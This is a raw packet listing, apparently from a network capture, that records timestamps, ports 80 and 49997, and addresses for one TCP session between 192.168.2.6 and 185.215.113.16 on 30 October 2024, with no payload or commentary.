Oct 30, 2024 05:25:25.406773090 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406781912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406800985 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406804085 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406833887 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406847954 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406864882 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406878948 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406913042 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406924963 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406933069 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406936884 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406945944 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406975985 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407008886 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407192945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407202959 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407212973 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407236099 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407250881 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407274961 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407285929 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407295942 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407306910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407318115 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407342911 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407361031 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407373905 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407383919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407397985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407434940 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407445908 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407475948 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407485008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407494068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407505035 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407514095 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407525063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407530069 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407540083 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407561064 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407568932 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407587051 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407603025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407614946 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407634974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407636881 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407644987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407660961 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407671928 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407695055 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407736063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407747984 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407757044 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.407782078 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.407809973 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.455127001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.455144882 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.455153942 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.455163002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.455173969 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.455226898 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.455285072 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.455302000 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.455317020 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.455329895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.455347061 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.455368042 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.479446888 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479459047 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479522943 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.479609013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479619980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479631901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479641914 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479655027 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479665041 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.479666948 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479677916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479690075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.479696035 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.479717016 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.479729891 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524063110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524085999 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524101019 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524139881 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524146080 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524158001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524169922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524178028 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524205923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524219036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524219036 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524231911 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524244070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524246931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524274111 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524280071 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524290085 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524296999 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524301052 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524323940 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524337053 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524348021 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524354935 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524378061 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524652958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524692059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524703979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524705887 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524729013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524736881 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524753094 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524772882 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524867058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524878979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524890900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524903059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.524919033 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.524938107 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525027990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525039911 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525051117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525077105 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525094032 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525099039 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525105953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525118113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525130987 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525151014 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525161028 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525265932 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525310040 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525311947 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525322914 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525336981 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525351048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525361061 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525361061 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525383949 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525434017 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525599957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525612116 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525634050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525645018 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525645971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525657892 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525671005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525696039 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525798082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525819063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525829077 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525847912 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525865078 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525926113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525938034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525957108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525963068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525974989 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.525983095 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.525986910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526010990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526026964 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526062012 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526073933 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526084900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526108980 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526124001 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526310921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526320934 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526333094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526345015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526359081 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526362896 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526375055 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526385069 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526385069 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526400089 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526431084 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526458979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526479959 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526490927 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526498079 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526510954 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526520014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526534081 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526566982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526576996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526588917 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526601076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526622057 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526645899 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526715994 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526761055 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526770115 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526782990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526810884 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526824951 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526861906 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526880026 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526897907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526906013 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526907921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526921034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526927948 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526940107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.526943922 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526952982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.526983023 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.527019978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.527031898 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.527045012 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.527065992 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.527081013 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.570194006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.570214987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.570223093 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.570230007 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.570250034 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.570269108 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.574213028 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.574223042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.574234009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.574250937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.574263096 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.574270010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.574270964 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.574285030 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.574311018 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.574326038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.598644972 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598664045 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598673105 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598699093 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598707914 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598726034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598733902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598735094 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.598746061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598751068 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.598757982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598767042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598784924 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.598803997 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.598803997 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.598849058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598886013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598887920 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.598895073 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.598917007 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.598929882 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.643138885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643173933 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643182993 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643201113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643210888 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643220901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643261909 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643279076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643290997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643300056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643310070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643330097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.643331051 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643338919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643373013 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.643388033 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.643769979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643778086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643786907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643799067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.643821001 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.643850088 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644016027 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644064903 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644097090 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644138098 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644263983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644275904 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644292116 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644315004 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644334078 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644334078 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644340038 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644350052 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644361019 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644386053 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644395113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644404888 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644407034 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644422054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644431114 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644440889 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644462109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644486904 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644496918 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644506931 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644527912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644535065 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644535065 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644550085 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644566059 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644592047 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644613981 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644624949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644629955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644634962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644651890 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644659042 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644679070 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644711018 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644721985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644731998 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644741058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644758940 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644783020 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.644812107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644824982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.644860029 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645019054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645067930 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645087004 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645097017 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645113945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645126104 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645128965 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645163059 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645163059 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645206928 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645253897 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645265102 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645273924 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645311117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645313025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645320892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645320892 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645342112 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645364046 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645524025 CET	80	49997	185.215.113.16	192.168.2.6
